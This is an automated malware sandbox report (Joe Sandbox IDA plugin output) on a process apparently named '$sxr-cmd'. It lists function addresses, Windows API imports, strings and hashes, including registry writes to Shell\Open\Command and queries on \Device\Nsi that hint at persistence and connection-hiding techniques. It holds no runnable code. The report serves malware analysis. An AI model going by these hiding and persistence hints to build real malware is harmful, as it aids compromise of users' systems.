Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$BufferConsoleInfoScreen
String ID:
API String ID: 1034426908-0
Opcode ID: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
Instruction ID: da1c1c74531807f29951303029a1aed7f416ac4c1405cc7eab86d9a24cb1b8af
Opcode Fuzzy Hash: 99e430a40e837be57a61fbba6b08e33b3e626514a3936da40c6adeee05acd63b
Instruction Fuzzy Hash: 6DF19136B08F828AEB64DF29D8402E9A7A1FF45F68F444136DA5D876A5DF3CE914C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B622D78 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000020D0B622E1C
lstrlenW.KERNEL32 ref: 0000020D0B623056

Part of subcall function 0000020D0B621A14: OpenProcess.KERNEL32 ref: 0000020D0B621A3A
Part of subcall function 0000020D0B621A14: K32GetModuleFileNameExW.KERNEL32 ref: 0000020D0B621A58
Part of subcall function 0000020D0B621A14: PathFindFileNameW.SHLWAPI ref: 0000020D0B621A67
Part of subcall function 0000020D0B621A14: lstrlenW.KERNEL32 ref: 0000020D0B621A73
Part of subcall function 0000020D0B621A14: StrCpyW.SHLWAPI ref: 0000020D0B621A86
Part of subcall function 0000020D0B621A14: CloseHandle.KERNEL32 ref: 0000020D0B621A94

GetProcAddress.KERNEL32 ref: 0000020D0B622E31

Part of subcall function 0000020D0B621554: StrCmpIW.SHLWAPI ref: 0000020D0B621585

Part of subcall function 0000020D0B6239D0: StrCmpNIW.SHLWAPI ref: 0000020D0B6239E8

StrCmpNIW.SHLWAPI ref: 0000020D0B622E74
lstrlenW.KERNEL32 ref: 0000020D0B622F9C

Strings

NtQueryObject, xrefs: 0000020D0B622E27
ntdll.dll, xrefs: 0000020D0B622E15
\Device\Nsi, xrefs: 0000020D0B622E67

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction ID: 5086237b56690572924cc89aed7993011369da195066a61195b412f75d98dd2f
Opcode Fuzzy Hash: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction Fuzzy Hash: A9B1D46221AB9086FB588FA5D5187A973B6F740FA4F845016DE4D5BB96FF3ACC40C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551AC4C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AD67
RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551ADF0
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AE17
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AE94
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AED1
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AEFA

Strings

\Shell\Open\Command, xrefs: 00007FF61551AD12
%s=%s, xrefs: 00007FF61551AEA9

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CloseValue$CreateDeleteOpen
String ID: %s=%s$\Shell\Open\Command
API String ID: 4081037667-3301834661
Opcode ID: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction ID: 80b9c75750cc0d7d5324d9ce7b1ddcc81a87783a003b5e67ac94f957e75fa6cd
Opcode Fuzzy Hash: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction Fuzzy Hash: 1E71C22AB09F4282EB128F25E0902B9EAE1FF85FA4F444131DA4E877A4DF7CDC458740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551AA30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AA85
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AACF
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF61551AAEC
RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6155198C0), ref: 00007FF61551AB39
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6155198C0), ref: 00007FF61551AB6F
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6155198C0), ref: 00007FF61551ABA4
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF6155198C0), ref: 00007FF61551ABCB

Strings

%s=%s, xrefs: 00007FF61551AB02

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CloseDeleteValue$CreateOpen
String ID: %s=%s
API String ID: 1019019434-1087296587
Opcode ID: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
Instruction ID: b50a237686a5e257e223b7847dd616786efc70351634294fec51963fc9bf880a
Opcode Fuzzy Hash: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
Instruction Fuzzy Hash: 87517435B08F9286E7618F69E44476ABAE1FB89FA0F454235CA4DC37A5DF7CD8418B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F1884 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 380COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF6154F194E
_wcsnicmp.MSVCRT ref: 00007FF6154F19A1
wcsrchr.MSVCRT ref: 00007FF6154F1A1D
_wcsnicmp.MSVCRT ref: 00007FF6154F1A75

Strings

COPYCMD, xrefs: 00007FF6154F192B, 00007FF6154F19F9

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmpwcsrchr
String ID: COPYCMD
API String ID: 2429825313-3727491224
Opcode ID: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction ID: 1d7a8a5d48d12eb2f1028536a40f26bc6b3d236028815cb9c793f08688334aac
Opcode Fuzzy Hash: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction Fuzzy Hash: 8DF19126F08A52C6FB608F69D0805BDB6B1AB45FB8F005236DA5DA36B4DF3CAD51C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F4A30 Relevance: 10.8, APIs: 7, Instructions: 318COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F4A87

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

wcsrchr.MSVCRT ref: 00007FF6154F4B19
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F4B83
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F4BDD

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$FullNamePathwcsrchr
String ID:
API String ID: 4289998964-0
Opcode ID: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
Instruction ID: 75c4455bc5a00d99cf9cf72dfa8944653612600820152b0d3436b5b5ccde7fb4
Opcode Fuzzy Hash: ca4f6fec6d1e45853bca55d284d940f9823b5f813051b5de8d9b268dc279a2c6
Instruction Fuzzy Hash: 01C19269A0DB5682EE949F569588379A7A0FB45FE0F005535CE0E877E1EF3CACA18340

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B627F10 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000020D0B627F2C
RtlCaptureContext.NTDLL ref: 0000020D0B627F59
RtlLookupFunctionEntry.NTDLL ref: 0000020D0B627F73
RtlVirtualUnwind.NTDLL ref: 0000020D0B627FB4
IsDebuggerPresent.KERNEL32 ref: 0000020D0B628008
SetUnhandledExceptionFilter.KERNEL32 ref: 0000020D0B628029
UnhandledExceptionFilter.KERNEL32 ref: 0000020D0B628034

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction ID: bbdaa6c9df3794b4ae779cee903fa7f2fb7f240c04fe9aa6be6cf396b127dd2c
Opcode Fuzzy Hash: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction Fuzzy Hash: 6631617221AB8086FB60CFA0E8847ED7375F794754F844429DA4D4BB9AEF39C548C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551BCF0 Relevance: 10.6, APIs: 7, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF61551BD2C
fflush.MSVCRT ref: 00007FF61551BD45
TryAcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF61551BD62
NtCancelSynchronousIoFile.NTDLL ref: 00007FF61551BD80
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF61551BD93
_get_osfhandle.MSVCRT ref: 00007FF61551BDB5
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF61551BDC4

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ExclusiveLock$AcquireBufferCancelConsoleFileFlushInputReleaseSynchronous_get_osfhandlefflushfprintf
String ID:
API String ID: 3476366620-0
Opcode ID: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction ID: 1c56dd3d02a7e39854837f82afe3d354a370cb32efffae762cc19e0801d91046
Opcode Fuzzy Hash: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
Instruction Fuzzy Hash: F521EC28908E4296EA586F20A8553B8EB60FF4AF75F855275C55EC22F2DF3CAC45C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62B5AC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000020D0B62B625
RtlLookupFunctionEntry.NTDLL ref: 0000020D0B62B63D
RtlVirtualUnwind.NTDLL ref: 0000020D0B62B678
IsDebuggerPresent.KERNEL32 ref: 0000020D0B62B6B1
SetUnhandledExceptionFilter.KERNEL32 ref: 0000020D0B62B6BB
UnhandledExceptionFilter.KERNEL32 ref: 0000020D0B62B6C6

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction ID: a88e087294aeb99ecbd7e36c5126131fe0c3135d05d534e30f8c4bd677ee2013
Opcode Fuzzy Hash: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction Fuzzy Hash: 59319632219F8096EB60CF65E84479E73B5F788764F940125EE8D4BB96EF39C545CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F3D94 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110nativeCOMMON

Download Yara Rule

APIs

_setjmp.MSVCRT ref: 00007FF6154F3DD4

Part of subcall function 00007FF61550417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6155041AD

Part of subcall function 00007FF6154F1884: wcsrchr.MSVCRT ref: 00007FF6154F194E
Part of subcall function 00007FF6154F1884: _wcsnicmp.MSVCRT ref: 00007FF6154F19A1

NtQueryInformationProcess.NTDLL ref: 00007FF6154F3E9C
NtSetInformationProcess.NTDLL ref: 00007FF6154F3EC9
NtSetInformationProcess.NTDLL ref: 00007FF6154F3F4D

Strings

%9d, xrefs: 00007FF6154F3EF9

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: InformationProcess$CurrentDirectoryQuery_setjmp_wcsnicmpwcsrchr
String ID: %9d
API String ID: 1006866328-2241623522
Opcode ID: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction ID: 7980fdebf800fbe16dffa7eb00f8f20967062d4eb9145e62308f228f7e8864b0
Opcode Fuzzy Hash: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
Instruction Fuzzy Hash: 0E517976A08A428AE300CF25E8405A9BBA4FB44F78F444635DA2D93BB5DF3CE914CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62FF98 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000020D0B630007
WriteFile.KERNEL32 ref: 0000020D0B6302BE
WriteFile.KERNEL32 ref: 0000020D0B630310
GetLastError.KERNEL32 ref: 0000020D0B630412
GetLastError.KERNEL32 ref: 0000020D0B630472

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction ID: 7b34629eb24a875622a36634e6b9333de77955a69301957a7d0240ed6b362b56
Opcode Fuzzy Hash: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction Fuzzy Hash: C5E11572719B809AE701CFA4D4883DD7BB2F344BA8F944116DE4E5BB9AEA35C51AC700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F8DF8 Relevance: 7.8, APIs: 5, Instructions: 281COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F8E6D
memset.MSVCRT ref: 00007FF6154F8E93

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F8F9A
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F8FBC

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 4ec132db5a5163512eeab285e6cca4fd0bb6ff7b6cd64baaaa3bea2245e3dd05
Instruction ID: 7bffe5af1a84e786f1108c64fb7bb27d960f44432a39d90c9a1575fe1cd63a69
Opcode Fuzzy Hash: 4ec132db5a5163512eeab285e6cca4fd0bb6ff7b6cd64baaaa3bea2245e3dd05
Instruction Fuzzy Hash: D2C1D636A09F8286EB60DF29E450AB9B3A0FB55F68F044136DA0D8B7B5DF3CD9508300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F9B50 Relevance: 7.8, APIs: 5, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
Instruction ID: 0c2837be62fbc070f6b0653932172b8a58d2cb048099a77720d1472a633154eb
Opcode Fuzzy Hash: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
Instruction Fuzzy Hash: 1DA19F29A18E4281EA54DF2DA851679B7A0FF84FA4F505136DE4EC7BB1DF3CE8118700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551FB54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61551FBC1

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetDiskFreeSpaceExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551FC58
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61551FD01

Strings

%5lu, xrefs: 00007FF61551FCB0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$DiskFreeSpace
String ID: %5lu
API String ID: 2448137811-2100233843
Opcode ID: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
Instruction ID: 5680c459ea797f3f33b76f22cbe5048e646371426b39ff749897e6933435a585
Opcode Fuzzy Hash: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
Instruction Fuzzy Hash: C9417036708AC185EB61DF25E8406EAB761FB84F98F408036DA4D8BB69DF7CD949C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FD250 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF6154FD292

Strings

GeToken: (%x) '%s', xrefs: 00007FF61550D0C8

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmp
String ID: GeToken: (%x) '%s'
API String ID: 2081463915-1994581435
Opcode ID: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
Instruction ID: fc53c2c0b8737e5842c240469c083d979781ba09aedddded036022e021dcb855
Opcode Fuzzy Hash: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
Instruction Fuzzy Hash: DC71AC25E0CE4689FBA49B2CA844279A6E0AF10F75F541536D55EC26F0EF3CACA18340

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B5FB0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000020D0B5FB100

Strings

*?, xrefs: 0000020D0B5FB127
HIJKLMNOPQRSTUVWXYZ, xrefs: 0000020D0B5FB483

Memory Dump Source

Source File: 00000010.00000002.2907026637.0000020D0B5F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000020D0B5F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b5f0000_$sxr-cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 69a7d70aed1b46f29ac0989fb6d5f6538e2a4057d0eee9d26adf792271ed4311
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: 2A51AF62716B5685EF14DBE6DC0C69DABB2FB58BE8F444565DE0D07F86EA38C0428300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155088C0 Relevance: 4.6, APIs: 3, Instructions: 68nativethreadCOMMON

Download Yara Rule

APIs

NtOpenThreadToken.NTDLL ref: 00007FF6155088E7
NtOpenProcessToken.NTDLL ref: 00007FF615508907
NtClose.NTDLL ref: 00007FF61550896C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

